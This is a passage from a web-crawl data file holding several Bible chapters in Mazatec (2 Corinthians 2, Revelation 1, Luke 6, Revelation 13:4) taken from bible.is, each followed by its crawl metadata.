xa̱jo̱n ítsikindá‑no, tà nga̱tjì‑la̱ majìn‑na nga jiòn, ba 'ké‑ná 'kia̱ nga kijchòjkon‑no, jé ra mejèn‑na nga tsja 'se̱‑naa̱ ko̱ ra jiòn. Ko̱ 'koa̱á 'sín tjíjngo takoàa̱n nga tsa̱jión 'kín ijye‑la̱ kjo̱tsja‑na̱. 4'Kia̱ nga ítsikinda‑najiòn jè xa̱jo̱n ra̱kìi̱, taxki̱ tímakájnoó‑na ko̱ taxki̱ 'oón tíma‑la̱ inìma̱‑na̱ ko̱ taxki̱ 'ñó tíkjindaya̱. Tanga mì tsa ki xá ítsikindá‑na mé‑ni nga kataba‑najiòn, kií‑ní mé‑ni nga jcha̱a‑najiòn kó'ki 'ñó tsjake̱‑no. 5Jè xi̱ta̱ ra ko̱'sín tsakátsji‑jé mì tsa ta 'a̱n jiàa̱n ra tíbátsji‑na kjo̱ba, skanda ko̱ó‑te jiòn 'cho síkítsa̱jna chiba‑no. Ta chibaá ko̱tíxiaa̱n mé‑ni nga mì kì ko̱to chi̱ba̱‑la̱ koni 'sín nga tíchjàa̱. 6Ijyeé nda tjín jè kjo̱hi'in ra ko̱'sín ijye tsikinè‑la jiòn nga'tsì‑no jè xi̱ta̱ ra̱kìi̱. 7'Ndi̱ 'ndi̱ jè ra machjeén nga ti̱jchaà'ta‑la jiòn ko̱ ti̱jetakòn, mé‑ni nga mì tsa ta kjo̱ba ki̱yájin‑ni. 8'Koa̱á ma‑ni nga ko̱'sín tíbitsá'ba‑no nga jchi̱baya‑no nga india tsjacha 'tia̱n‑no jè xi̱ta̱ ra̱kìi̱. 9Kií xá ítsikinda‑najiòn jè xa̱jo̱n, mé‑ni nga nda kata'ya‑la̱ a kixi̱í kjoa̱, ¿a maá‑no nda nihitjasòn ijye? 10Jè xi̱ta̱ ra jiòn si̱jcha'ta‑la, ti̱'koa̱á sijchá'tá‑te‑la̱ ra 'a̱n. Tsa tjín mé ra ma si̱jcha'tà‑la, kjo̱nda tsa̱jión‑nájiòn nga ko̱'sín si̱jcha'tà‑la ya̱ ngixko̱n Cristo. 11Mé‑ni nga mì jè xi̱ta̱‑ni̱í ma sa̱kò‑la̱ kó'sín nga si̱ìkijne‑ná, nga̱ ijyeé 'yeé kó'sín tjín kjoa̱ maña̱‑la̱. 12'Kia̱ nga ijchòo̱ ya̱ na̱xi̱ndá Troas, nga tsi'kènájmíya 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo, ni̱'sín itjá'xa̱'nde‑na nga ísíxáa̱ ra a̱'ta 'tse̱ Na̱'ín‑ná, 13tanga jè inìma̱‑na̱ mì kì nda ki'se‑la̱, nga̱ mì kì iskajiàa̱n jè ndí 'ndsé Tito. 'Koa̱á ma‑ni nga kítsjiaa̱n jñà xi̱ta̱ ra ya̱ i̱'nde‑la̱, ko̱ ya̱á kijiàa̱ ya̱ nangi Macedonia. 14Tse kjo̱nda kata'se‑la̱ Nainá, nga̱ ni̱chjin nchijón‑ní tíbakón kó'sín nga a̱'ta 'tse̱ Cristo i̱nchinìkijne‑ji̱n. Ko̱ a̱'ta tsa̱ji̱n‑náji̱n nga tímabísòn nga tíjngoo̱ jè kjoa̱chji̱ne̱ ra tjín‑la̱ koni jngo jta̱‑la̱ tsajmì ra nda jne̱. 15Ji̱n‑ji̱n, 'koa̱á 'sín kjòn‑ji̱n ra a̱'ta 'tse̱ Nainá koni jta̱‑la̱ tsajmì ra 'ñó nda jne̱ ra jè Cristo tsjá‑la̱ Nainá; jta̱ ra ya̱ i̱nchibijchókajin‑la̱ jñà xi̱ta̱ ra i̱nchibitjokajin kjo̱hi'in ra kjoa̱ 'tse̱ jé‑la̱. Ti̱'koa̱á ya̱á i̱nchibijchókajin‑la̱ jñà ra ta ya̱ i̱nchichijajin jé‑la̱. 16A̱'ta 'tse̱ jñà xi̱ta̱ ra ta ya̱ i̱nchichija, jè 'én ra 'bena̱jmíya‑ji̱n 'koa̱á 'sín 'cho jne̱‑la̱ koni jngo jta̱ ra sí'ken‑ná; tanga jñà xi̱ta̱ ra i̱nchibitjokajin kjo̱hi'in 'tse̱ jé‑la̱, 'koa̱á 'sín nda jne̱‑la̱ koni jngo jta̱ ra síkíjnakon‑ná. Ra ta kjo̱bítsjen 'tse̱, ni̱jngoó xi̱ta̱ ra chíkjoa̱‑la̱ nga 'ke̱èna̱jmíya 'én kìi̱. 17Nga̱ mì tsa ko̱'sín 'nià‑ji̱n koni 'sín kjín ma‑ni xi̱ta̱ ra ko̱'sín 'sín i'ka nga to̱n 'béna̱jmíya‑ni jè 'én‑la̱ Nainá. Ngi 'koa̱á 'sín tjín takòn‑ji̱n koni 'sín nakjoá‑ji̱n ya̱ ngixko̱n Nainá ra a̱'ta 'tse̱ Cristo, koni 'sín nga jè Nainá isìkasén‑naji̱n, nga xi̱ta̱ 'tse̱é tsò‑naji̱n.\n2 Corintios 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Cor\/2","date":"2013-12-11T20:28:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164045928\/warc\/CC-MAIN-20131204133405-00040-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":458,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà kjoa̱ koi xi kitjoé‑la̱ Jesucristo nga Nainá kitsjaà‑la̱ mé‑ne nga ko̱kò‑la̱ xi̱ta̱ chi̱'nda‑la̱ jñà kjoa̱ xi ta ni̱to̱ón o̱ko̱ma. Jesucristo kisìkasén àkja̱le̱‑la̱ nga tsakó‑la̱ kjoa̱ koi Juan xi chi̱'nda‑la̱ ma. 2Ko̱ jè Juan tíchja̱ kixi̱‑né [k'e̱ nga kiskiì] ngats'iì kjoa̱ xi kijtseè ko̱ xi kiì'nchré koni s'ín nga jè Jesucristo kiìchja̱ kixi̱‑la̱ jñà 'én xi kitsjaà‑la̱ Nainá. 3Mé tà ndaà‑la̱ jè xi̱ta̱ xi bíxke̱jiìn xo̱jo̱n koa̱ jñà xi 'nchré 'én‑la̱ Nainá xi tjít'aà xo̱jo̱n jè, jñá kjoa̱ xi sa̱ ki̱tasòn; ti̱koa̱á mé ta ndaà‑la̱ jè xi̱ta̱ xi síkitasòn koni tsò xo̱jo̱n jè, nga jè na̱chrjein, jyeé nchrobá machrañà. 4'A̱n xi 'mì‑na Juan, tisìhixat'aà‑nò, jñò xi na̱xa̱ndá‑la̱ Cristo maà xi itoò i̱'nde titsa̱jnaà ján nangui Asia. Jè kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán jè Nainá xi tíjna, jè xi tsibìjna ko̱ jè xi kjoi̱í ìjngoò k'a‑ne; k'oa̱ ti̱s'ín kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán jñà ini̱ma̱ xi itoò ma‑ne xi títsa̱jna nguixko̱n jè xi tíjnasòn íxi̱le̱ nga tíhotíxoma; 5ko̱ jè Jesucristo k'oa̱ ti̱s'ín kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán. Jè Cristo, jè xi nguì 'én kixi̱ tsjá, xi ki'ndí tjòn xi jaáya‑la̱ i̱t'aà ts'e̱ kjoa̱ biyaà ko̱ jè xi otíxoma‑la̱ jñà xi̱ta̱ sko̱‑la̱ xi tjín i̱ i̱t'aà nangui. Cristo matsjakeè‑ná nga kisìtsjeè jé‑ná i̱t'aà ts'e̱ jní‑la̱ xi tsibíxteèn. 6Cristo k'oa̱á s'ín kisìkítsa̱jna‑ná nga xi̱ta̱ ítjòn ko̱maá ko̱ no̱'miì ko̱maá nga jñá si̱xá‑lá Nainá xi Na̱'èn‑la̱ ma Jesucristo. Jeya kàtìjna; jè kàtatíxoma kjit'aà, ni̱ta̱ mé na̱chrjein‑ne, ni̱ta̱ mé nó‑ne. K'oa̱s'ín kàtama. 7¡Chítsejèn‑là! Jè Cristo jyeé kjo̱meé f'iì nga tínchrobájiìn ifi. Ngats'iì xi̱ta̱, xko̱ón skoe̱‑ne. Jñà xi̱ta̱ xi kisìk'en Cristo ti̱koa̱á skoe̱‑ne. Ngats'iì xi̱ta̱ na̱xa̱ndá xi tjín i̱ i̱t'aà nangui ski̱ndáyakeè‑né nga 'on ko̱ma‑la̱ i̱t'aà ts'e̱. Jon, k'oa̱á s'ín ko̱ma. 8\"'A̱n‑ná xi tìjna̱ ítjoàn skanda tàts'en‑la̱ kjoa̱ ko̱ nga skanda fehet'aà‑ne; 'a̱n‑ná xi tìjna̱a, xi tsibijna̱a, ko̱ xi kjoi̱i ìjngoò k'a; ta̱jngoó‑ná xi tse nga'ñó tjín‑na\", tsò Na̱'èn‑ná xi Nainá. 9'A̱n‑ná xi mì‑na̱ Juan, xi 'ndsè xan‑nò i̱t'aà ts'e̱ Cristo. Nga ya̱á titsa̱jnakoa̱á Cristo ngásòn titsa̱nìkjiaán kjo̱'in, ko̱ ngásòn ya̱ nokjoà‑ná ñánda tíhotíxoma Nainá ko̱ ngásòn tíchíkjoa̱ko̱‑ná ngats'iì kjoa̱. 'A̱n nga 'én‑la̱ Nainá tìchjàya ko̱ tìbeno̱jmí kixi̱‑la̱ xi̱ta̱ i̱t'aà ts'e̱ Cristo, k'oa̱á komà‑ne ján kinìkasén‑na ya̱ nangui jiìn‑ndá ñánda 'mì Patmos. 10Jngoò na̱chrjein‑la̱ Nainá, 'a̱n, nga ya̱ tìjna̱koa̱a Ini̱ma̱ Tsjeè‑la̱, ya̱ i̱jto̱n índsiàn ki'nchrè jngoò‑la̱ 'én xi 'ñó kiìchja̱ koni jngoò chrjo xi 'ñó jane, 11kitsò‑na: ―'A̱n‑ná xi tìjna̱ ítjoàn ko̱ xi fehet'aà‑ne. Chjoí jngoò xo̱jo̱n, tít'eiì kjoa̱ xi tì'yi; i̱kjoàn ti̱kasén‑la̱ na̱xa̱ndá‑na̱ xi itoò i̱'nde títsa̱jna ján nangui Asia, jñà na̱xa̱ndá xi 'mì Éfeso, Esmirna, Pérgamo, Tiatira, Sardis, Filadelfia ko̱ Laodicea. 12K'e̱é kisìkátjifaya nga mejèn‑na skoeè yá xi̱ta̱ xi tíchja̱‑na; kìjtseè itoò candelero xi nguì ki̱cha̱ oro xi ma tìya asìti̱. 13Ya̱ jngoò osen‑la̱ ñánda jncha candelero xi itoò ma‑ne síjnajiìn xi o̱kji koni kji ki'ndí‑la̱ xi̱ta̱. Jngoò nikje kinakjá xi ndojò kji. Bijchó skanda i̱tjòn ndso̱ko̱. Tíkjá jngoò na'ñó payo̱ ya̱ i̱sòn ini̱ma̱‑la̱ xi nguì oro. 14Tsja̱ sko̱, k'oa̱á kjoàn koni kjoàn tsja̱ chroba‑la̱ orrè, koni kjoàn 'nchán kjoàn. Xko̱n, k'oa̱á s'ín tsejèn koni tsà títì ni'ín. 15Ndso̱ko̱ k'oa̱á kjoàn koni ki̱cha̱ sinè xi 'ñó ndaà ote k'e̱ nga jye si̱jiìn ni'ín. Jè jta̱‑la̱, k'oa̱á s'ín na'yà‑la̱ koni ñánda 'ñó je nandá tíbixòjen‑tjòn. 16Jè tsja kixi̱, itoò ni'ño tjíya. Jè tso'ba jngoò ki̱cha̱ ndojò bitjo xi 'ñó yijò kji ingajò ngobà. I̱sén‑la̱ k'oa̱á kji koni kji ts'oí k'e̱ nga 'ñó matsjè ndobá, 'ñó ote kji. 17K'e̱ nga kìjtseè, kiskaànguia i̱ngui ndso̱ko̱ koni jngoò mik'en. I̱kjoàn jè tsakájnasòn‑na tsja kixi̱, kitsò‑na: ―Kì tsakjoòn‑jèn, 'a̱n‑ná xi tìjna̱ ítjoàn ko̱ xi fehet'aà‑ne, 18ko̱ tìjna̱kon‑ná. Tsakáti̱jna k'en‑ná ta̱nga i̱'ndei̱ tìjna̱kon‑ná ni̱ta̱ mé na̱chrjein, ni̱ta̱ mé nó‑ne. 'A̱n tjíya ndsa̱a ibi̱ ts'e̱ kjoa̱biyaà ya̱ i̱'nde‑la̱ mik'en. [Tjí'ndeé‑na nga skíx'a̱a ko̱ kichjoà nga si̱ìkjaáya‑la̱.] 19Chjí jñà kjoa̱ xi jye kà'yi ko̱ kjoa̱ xi tíma na̱chrjein i̱'ndei̱ ko̱ kjoa̱ xi ko̱ma nga ko̱ma i̱skan. 20Kií tsò‑ne jè kjoa̱'ma xi kà'yi ts'e̱ ni'ño xi itoò ma‑ne xi tjíya ndsa̱a kixi̱ ko̱ xi itoò candelero xi nguì ki̱cha̱ oro. Jñà ni'ño xi itoò ma, jñà àkja̱le̱‑la̱ na̱xa̱ndá‑na̱ xi itoò i̱'nde títsa̱jna; ko̱ jñà candelero xi itoò ma‑ne, jñà‑né xi na̱xa̱ndá‑na̱ xi itoò i̱'nde títsa̱jna.\nApocalipsis Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/","date":"2013-12-10T18:57:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164023632\/warc\/CC-MAIN-20131204133343-00070-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":40,"top_langs":"{\"maa_Latn_score\": 1.000004529953003}","num_words":671,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.303,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jngoò k'a jè na̱chrjein nìkjáya, ja Jesús ñánda títje̱ trigo. Xi̱ta̱ xi kota'yàt'aà‑la̱ tsate natín‑la̱ trigo, tsafèya‑ne tsja, i̱kjoàn kiskine. 2Tjín i'nga xi̱ta̱ fariseo xi kitsò: ―¿Mé‑ne ko̱'nè‑enò jè kjoa̱ xi mìkiì tjí'nde nga ko̱s'ín ko̱ma jñà na̱chrjein nìkjáya? 3Kiìchja̱ Jesús, kitsò‑la̱: ―¿Jñò, a mìtsà jye tíjiìn‑nò koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá koni kis'iìn xi̱ta̱xá ítjòn xi ki'mì David ko̱ jñà xi̱ta̱‑la̱ xi kjihijtako̱ k'e̱ nga kjòhojò‑la̱? 4Jahas'en ni'ya‑la̱ Nainá; kiskoé i̱nchra̱jín tsjeè‑la̱ Nainá; tsakjèn. Ti̱koa̱ kitsjaà‑la̱ xi̱ta̱‑la̱ xi tji̱ko̱. Mìkiì tjí'nde nga jñà ko̱kje̱n. Tà jñà no̱'miì tjí'nde‑la̱ nga ko̱kje̱n. 5Jesús kitsò‑ìsa‑la̱: ―'A̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, 'a̱án otiìxoma‑la̱ na̱chrjein nìkjáya. 6Ìjngoò k'a k'e̱ nga jè na̱chrjein nìkjáya, Jesús jahas'en ni'ya i̱ngo̱ sinagoga; tsibíts'ia̱ nga tsakóya‑la̱ xi̱ta̱. Koa̱ ya̱á tíjna jngoò xi̱ta̱ xi kixìt'aà tsja kixi̱. 7Jñà xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés ko̱ xi̱ta̱ fariseo nchisíkinda̱ Jesús kó s'i̱in, a si̱ìndaá‑ne jè xi̱ta̱ xi xk'én jè na̱chrjein nìkjáya; mejèn‑la̱ nga skoe̱ mé‑ne nga ko̱ma ko̱hòngui‑ne. 8Ta̱nga Jesús jyeé tíjiìn‑la̱ kó s'ín nchisíkítsjeèn jñà xi̱ta̱ koi. Kitsò‑la̱ jè xi̱ta̱ xi kixìt'aà tsja: ―Ti̱sítji̱in, ti̱si̱jna kixi̱ ya̱ jngoò osen. Xi̱ta̱ jè tsasítje̱n, tsasìjna kixi̱. 9Jesús, k'e̱é kitsò‑la̱ ngats'iì xi̱ta̱ xi ya̱ títsa̱jna: ―Jngoò kjoa̱ skònangui‑nò: ¿A tjí'nde‑né k'e̱ nga jè na̱chrjein nìkjáya nga ndaà s'e̱én, o xi ch'o s'e̱én? ¿A si̱k'en‑ná o xi si̱ndaá‑ná jngoò xi̱ta̱? 10Jesús kiskoòtsejèn yije‑la̱ kóho̱tjín xi̱ta̱ xi ya̱ títsa̱jnandiì‑la̱. K'e̱é kitsò‑la̱ jè xi̱ta̱ xi kixìt'aà tsja: ―Tjeèndojoì ndsei̱i. Xi̱ta̱ jè, tsijmeé tsja, ni̱to̱ón kjòndaà‑ne. 11Jñà xi̱ta̱ fariseo, 'ñó jti komà‑la̱; k'e̱é tsibíts'ia̱ nga tsajoóya‑ne mé xi si̱ìko̱ Jesús. 12Ti̱jñà‑ne na̱chrjein koi, Jesús kiìmijìn‑jno jngoò nindoò nga kiìchja̱t'aà‑la̱ Nainá; kisìk'a ni̱tje̱n nga tíchja̱t'aà‑la̱. 13K'e̱ nga kis'e i̱sén kiìchja̱‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱; i̱kjoàn jaàjiìn tejò xi̱ta̱ xi tsibíxáya‑la̱. 14Jè Simón xi ti̱koa̱ Pedro tsibít'aà 'ín; Andrés xi 'ndse̱ ma Simón; Jacobo; Juan; Felipe; Bartolomé; 15Mateo; Tomás; Jacobo, ti‑la̱ Alfeo; Simón xi ya̱ fìt'aà‑la̱ kjo̱tíxoma ts'e̱ xi̱ta̱ Celote; 16Judas, ti‑la̱ Jacobo; ko̱ Judas Iscariote, jè xi i̱skan komà kondra̱‑la̱ Jesús. 17Jesús itjojen‑jno‑ne nindoò, tji̱ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱; j'iì jngoò i̱'nde ñánda i̱sòn choòn; ya̱á tsibìtsa̱jna. Kjìn ma xi̱ta̱‑la̱ xi ya̱ nchikoña‑la̱; ti̱koa̱á kjìn ma xi̱ta̱ xi kj'ei̱í xi inchrobà‑ne kóho̱kji i̱'nde Judea ko̱ na̱xa̱ndá Jerusalén ko̱ xi inchrobà‑ne Tiro ko̱ Sidón, na̱xa̱ndá xi kjiyijòndiì ndáchikon. Koi xá j'iì‑ne nga kji̱'nchré‑la̱ Jesús, ti̱koa̱ mejèn‑la̱ ko̱ndaà‑ne ch'in xi tjín‑la̱. 18Jñà xi̱ta̱ xi ini̱ma̱ ch'o‑la̱ nei̱í síjti‑la̱, ti̱koa̱á kjòndaà‑ne. 19Ngats'iì xi̱ta̱, mejèn‑la̱ nga ko̱òt'aà‑la̱ tsja yijo‑la̱ Jesús nga tseé nga'ñó tíbitjojiìn yijo‑la̱ nga mandaà yije‑ne xi̱ta̱. 20Jesús kiskoòtsejèn‑'a xi̱ta̱ xi kota'yàt'aà‑la̱ kitsò‑la̱: ―Mé tà ndaà‑anò jñò xi xi̱ta̱ i̱ma̱ 'mì‑nò, nga tsa̱jòn‑nó jñà kjo̱ndaà xi tsjá Nainá nga jè tíhotíxoma. 21'Mé tà ndaà‑anò jñò xi ijò‑nò i̱'ndei̱, nga ko̱ma i̱skan, ko̱skiì‑nò. 'Mé tà ndaà‑anò jñò xi chìhindáya i̱'ndei̱, nga ko̱ma i̱skan ki̱jno̱‑nò. 22'Mé tà ndaà‑anò k'e̱ nga tjín xi̱ta̱ xi síjtikeè‑nò tà 'a̱n nga̱tjì‑na xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱; k'e̱ nga síkítsa̱jnat'aàxìn‑nò, k'e̱ nga chja̱'on‑ko̱‑nò, k'e̱ nga ochrjekàngui‑nò koni tsà jngoò xi̱ta̱ xi 'ñó ts'e̱n. 23Tsja t'è‑là takòn jè na̱chrjein koi; ti̱tsja‑là ini̱ma̱‑nò; tseé kjo̱ndaà tjoé‑nò ján ngajmiì; ti̱koa̱á jñà xi̱ta̱ jchínga‑la̱ xi̱ta̱ xi beètoòn‑nò, k'oa̱á ti̱s'ín kijtseètoòn jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. 24'Ta̱nga i̱ma̱‑xó‑nò jñò xi xi̱ta̱ nchi̱ná 'mì‑nò nga tjín yije‑nò xi mochjeén‑la̱ yijo‑nò [ta̱nga mìkiì nìkítsjeèn kjo̱ndaà‑la̱ Nainá xi mochjeén‑la̱ ini̱ma̱‑nò]. 25'I̱ma̱‑xó‑nò xi skiì titsa̱jnaà i̱'ndei̱; k'e̱ nga ko̱ma i̱skan, ko̱hojò‑nò. 'I̱ma̱‑xó‑nò jñò xi bijnò i̱'ndei̱; k'e̱ nga ko̱ma i̱skan ko̱baá‑nò koa̱ jchìhindáya‑nò. 26'I̱ma̱‑xó‑nò jñò k'e̱ nga ndaà síkítsa̱jna yije‑nò xi̱ta̱. Jñà xi̱ta̱ jchínga k'oa̱á ti̱s'ín ndaà kisìkítsa̱jna jñà xi̱ta̱ xi 'én ndiso kiìchja̱ya. 27'Ta̱nga jñò xi titsa̱na'yà, k'oa̱á xán‑nò: Ti̱tsjacha kondra̱‑nò, ndaà ti̱ko̱o jè xi jtikeè‑nò. 28Ti̱jét'aà‑là Nainá nga kàtasíchikon‑t'in jñà xi chja̱'on‑ko̱‑nò, titsi'batjiò jè xi ch'o síko̱‑nò. 29Jè xi síjts'iìn‑t'aà kjioòn, ti̱koa̱ tjiì‑là xi ngobà; jè xi faá'an na̱chro̱kisòn‑nò, ti̱koa̱ tjiì‑là na̱chro̱‑nò xi ìjngoò. 30Ni̱ta̱ yá xi̱ta̱ xi síjé‑nò tsojmì, tjiì‑là; tsà yá xi skoé xi tsojmì tsa̱jòn, kì ti̱ kiì nìjé‑là. 31Koni s'ín mejèn‑nò nga si̱ìko̱‑nò xi̱ta̱, k'oa̱á ti̱s'ín ti̱ko̱ ngajo‑nò. 32'Tsà matsjacha jè xi matsjakeè‑nò, ni̱mé kjo̱ndaà xi s'e̱‑nò, nga k'oa̱á ti̱s'ín jñà xi̱ta̱ ts'e̱n, matsjakeè xíkjín. 33Tsà tà jñà ndaà siko̱ò xi̱ta̱ xi ti̱koa̱ ndaà síko̱‑nò, ni̱mé kjo̱ndaà xi s'e̱‑nò. Jñà xi̱ta̱ ts'e̱n, k'oa̱á ti̱ síko̱ xíkjín. 34Tsà si̱kìña‑là jè xi yaxkoòn nga koi̱ìchjí, ti̱koa̱á ni̱mé kjo̱ndaà s'e̱‑nò. Ti̱koa̱á jñà xi̱ta̱ ts'e̱n síkìña‑la̱ xíkjín nga jyeé tíjiìn‑la̱ nga koi̱ìchjí yije kóho̱tjín. 35Ti̱tsjacha kondra̱‑nò; ndaà ti̱ko̱o; ti̱kìña‑là mé xi síjé‑nò, ni̱mé xi chiñà‑là i̱t'aà ts'e̱. Tsà ko̱s'ín s'e̱en, ìsa̱á tse kjo̱ndaà s'e̱‑nò. I̱xti‑la̱ Nainá xi 'ñó 'nga tíjna ko̱maà k'e̱ nga k'oa̱s'ín s'e̱en koni s'ín Nainá, nga tjín‑la̱ kjo̱hi̱ma̱takòn i̱t'aà ts'e̱ xi̱ta̱ xi 'nga ikon ko̱ xi ch'o s'ín. 36Chahi̱ma̱a xinguio̱o koni s'ín beèhi̱ma̱‑nò Nainá xi Na̱'èn‑ná 'mì‑là. 37'Kì jé‑la̱ xinguio̱o 'nè kinda̱a mé‑ne nga Nainá ti̱koa̱ mìkiì si̱ìkinda̱ jé‑nò; kì jé binchanè‑là xinguio̱o mé‑ne nga Nainá mì jé ki̱nchanè‑nò; ti̱jchàat'aà‑là jé‑la̱ xinguio̱o mé‑ne nga Nainá ti̱koa̱ si̱ìjchàat'aà‑nò jé‑nò. 38Tjiì‑là xinguio̱o; jè Nainá tsjá ngajo‑nò; Nainá si̱ìchi̱ba̱‑nò chi̱ba̱ xi ndaà kitseè, xi 'ñó jncha, xi ndaà kisitsajneè ko̱ xi tíxíxteèn‑tjì nga ki̱ncha chijtsa‑nò; jè chi̱ba̱ xi si̱chi̱ba̱ya‑là xinguio̱o, ti̱jè si̱ìchi̱ba̱ya ngajo‑nò Nainá. 39Jesús tsibéno̱jmí jngoò‑la̱ kjoa̱ xi mangásòn, kitsò‑la̱: ―Jngoò xi̱ta̱ xi mìkiì tsejèn‑la̱, mìkiì ko̱ma ko̱kò‑la̱ ndi̱yá ìjngoò xi ti̱koa̱ mìkiì tsejèn‑la̱. Ingajò, ya̱á ki̱xo̱ya nga̱jo̱ ñánda ch'o choòn. 40Jngoò xi̱ta̱ xi kota'yà mìtsà ìsa̱ 'nga tíjna koni maestro‑la̱; ta̱nga k'e̱ nga kjoe̱het'in‑la̱ nga ndaà skóta'yà, ti̱koa̱á ko̱ngásòn‑né koni jè maestro‑la̱. 41'[¿Mé‑ne jé‑la̱ xingui̱i nìkinda̱‑ne koa̱ tsi̱ji mìkiì nìkindi̱i?] ¿Mé‑ne chìtsejèn‑la̱ tjé xi kjinangui xko̱n xingui̱i, koa̱ jè yá chi̱so̱ xi kjinangui xkoiìn mìkiì chìtsejèn‑la̱? 42¿A mì 'ya‑jèn yá chi̱so̱ xi kjinangui xkoiìn? ¿Mé‑ne ko̱'mì‑la̱ xingui̱i: \"'Ndsè, tjiì'nde‑ná nga kochrjekànguia tjé xi kjinangui xkoiìn\"? Ngaji̱ xi jò ma i̱sén‑lè; ítjòn ti̱nachrjekàngui chi̱so̱ xi kjinangui xkoiìn, mé‑ne nga ndaà ko̱tsejèn‑lè, i̱kjoàn ti̱nachrjekàngui tjé xi kjinangui xko̱n xingui̱i. 43'Tsjìn yá xi ndaà kjoàn ko̱ ch'o kjoàn toò xi ojà‑la̱; ti̱koa̱á tsjìn yá xi ch'o kjoàn ko̱ ndaà kjoàn toò xi ojà‑la̱. 44Nga jngoò ìjngoò sko̱ya yá, k'oa̱á s'ín yaxkon‑la̱ koni kjoàn toò xi ojà‑la̱. Jè toò iko̱, mìtsà yá na'yá ojà‑la̱. Ti̱koa̱á jñà toò uva mìtsà na'yá xanchroò ojà‑la̱. 45Koni kjoàn yá, k'oa̱á ti̱ kjoàn xi̱ta̱; jngoò xi̱ta̱ xi 'én ndaà chja̱, koií‑né nga kjo̱ndaà tíjiìn ini̱ma̱‑la̱; koa̱ jngoò xi̱ta̱ xi 'én ts'e̱n chja̱, koií‑né nga kjoa̱ts'e̱én tíjiìn ini̱ma̱‑la̱; nga̱ k'oa̱á tsò 'én xi nokjoá koni tsò kjo̱hítsjeèn xi tíjiìn ini̱ma̱‑ná. 46'¿Mé‑ne ko̱s'ín 'mì‑ná nga bixón: \"Na̱'èn, Na̱'èn\", koa̱ mìkiì nìkitasòn koni xan‑nò? 47K'oa̱á xan‑nò yá xi mangásòn jè xi̱ta̱ xi 'a̱n fìt'aà‑na, xi 'nchré 'én‑na̱, ti̱koa̱ síkitasòn. 48Jè mangásòn jngoò xi̱ta̱ xi bíndaà ni'ya‑la̱; 'ñó na̱nga̱ ò'nguiì; bíjna tàts'en chrjó ni'ya ya̱ i̱sòn na̱xi̱. K'e̱ nga 'ba jtsí xkón, f'iì xa̱jngá nandá, kaàt'aà'ñó‑la̱ ni'ya; ni̱mé xi síko̱ nga ya̱ tjíndaàsòn na̱xi̱. 49Ta̱nga jè xi 'nchré 'én‑na̱ koa̱ mìkiì síkitasòn, k'oa̱á ngaya‑la̱ koni jngoò xi̱ta̱ xi bíndaàsòn ni'ya‑la̱ ñánda tà nangui; mìkiì ndaà bíndaà tàts'en chrjó; f'iì xa̱jngá nandá, kaàt'aà'ñó‑la̱ ni'ya; ya̱á bixòña ni'ya jè; jngoò k'a bixòjen.\nSan Lucas 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/6","date":"2013-12-07T13:34:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054548\/warc\/CC-MAIN-20131204131734-00080-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000083446502686}","num_words":1139,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.289,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4Ngats'iì xi̱ta̱ kijtseèxkón jè ye̱, nga jè ye̱ kitsjaà‑la̱ kjo̱tíxoma xi tísíkjeén jè cho̱ ts'e̱n. Jñà xi̱ta̱ ti̱koa̱á kijtseèxkón jè cho̱ je xi ch'o kji. I̱kjoàn kitsò: ―Tsjìn ìjngoò ìsa̱ koni jè cho̱ je xi ch'o kji; mì yá tjín xi ki̱chìkjoa̱‑la̱ nga ska̱àn‑ko̱.\nApocalipsis 13:4\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/13\/4","date":"2013-12-07T17:33:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163055217\/warc\/CC-MAIN-20131204131735-00089-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000014305,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000014305114746}","num_words":48,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.354,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ndí 'ndseé ko̱ tichjaá, 